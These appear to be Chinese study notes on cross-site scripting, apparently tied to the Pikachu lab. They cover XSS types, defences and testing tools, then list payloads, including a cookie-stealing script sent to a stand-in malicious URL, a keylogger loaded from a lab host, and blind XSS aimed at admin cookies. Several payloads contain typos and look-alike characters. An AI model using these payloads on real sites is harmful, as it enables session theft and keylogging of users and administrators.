XSS属于客户端攻击,受害者最终是用户,但要特别注意网站的管理人与那也是用户之一。
XSS原理
XSS漏洞产生的主要原因是由于程序对输入和输入的控制不够严格,导致构建的恶意代码输入后,在前端浏览的时候被当作有效的代码解析执行从而产生危害。
XSS攻击具备条件
- 用户可以给客户端提交数据
- 提交的数据需要展示出来
防范XSS两种方式
- 输入防御
- 输出防御
XSS分类
反射型(中低危):交互的数据一般不保存在数据库中,一次性,一般出现在查询类页面等
存储型(中高危):交互的数据会被存在数据库中,永久性存储,一般出现在留言板、注册等界面
DOM型(中低危):通过js代码操作dom文档对象模型时出发的漏洞,一般不与后台服务器产生数据交互
DOM全称Document Object Model,,也是文档对象模型。可以将DOM理解为,一个与系统平台和编程语言无关的接口,程序和脚本可以通过这个接口动态地访问和修改文档内容、结构和样式。
可能出发DOM型XSS的js操作:
document.referer
window.name
location //跳转网址
innerHTML //向某个标签中写入
document.write //向某个标签中写入
XSS的payload
' "><scripy>confirm(1)</script>,其中' ">我们称之为完成闭合符号 ,后面跟着scri标签进行攻击,弹出了窗口表示我们的js代码被执行了
<scirpt>alert("xss");</script>
图片加载错误时触发
示例:<img src="x" οnerrοr=alert(1)>
鼠标指针移动到元素时触发
示例:<img src=1 οnmοuseοver="alert(1)">
鼠标指针移出时触发
示例:<img src=1 οnmοuseοut="alert(1")>
<a href="http://www.qq.com">qq</a>
<a href=javascript:alert('1')>test</a>
按下按键时触发
示例:<input type="text" οnkeydοwn="alert(1)">
按下按键时触发
示例:<input type="text" οnkeypress="alert(1)">
松开按键式时触发
示例:<input type="text" οnkeyup="alert(1)">
竞争焦点,从而触发onblur事件
示例:<input οnblur=alert("xss") autofocus><input autofocus>
<style οnlοad=alert(1)></style>
XSS可能存在的地方
其实只要是有用户输入输出、用户交互的一些地方,都可能存在xss漏洞
HTML context ,Attribute Context, URL Context ,Style Context, Script Context
XSS测试方法
1.工具扫描:APPscans,AWVS,xray等大型漏扫工具,xsstrike等自动化小工具
2.手工测试,用Burp site 、浏览器
XSS平台搭建以及后台使用(cookie获取)
'"><script>documentlocation='恶意网址获取cookie网址?cookie='+document.cookie;</script>
get请求构造一段链接
反射型XSS(POST)获取cookie
post请求方式的xss攻击其实是比较难实现的,因为要构造一个网页html文件出来,写好攻击代码逻辑
上面构造的网页中,前面使用的window.onload就是构造了一个事件,使其先运行后面的代码,再运行 window.onload,此处是寻找id值为postsubmit的标签,click()自动进行了点击,其中的网站要写黑客用来收集cookie的网址
XSS获取键盘记录
'"><script src="http://192.168.0.15/pikachu/pkxss/rkeypress/rk.js"></script>
XSS盲打
xss盲打就是攻击者在前端提交的数据不知道后台是否存在xss漏洞的情况下,提交恶意js代码在类似留言板等输入框输入后,所展现的后台位置的情况下,网站采用了攻击者插入的恶意代码,当后台管理员在操作时候就会触发恶意代码,从而达到攻击者目的,也就是通过前端插入攻击代码,在后台管理系统生效。
111'"><sCrIpT>alter(666)</sCrIpT>
若采用获取cookie,则可以获取到后台管理员cookie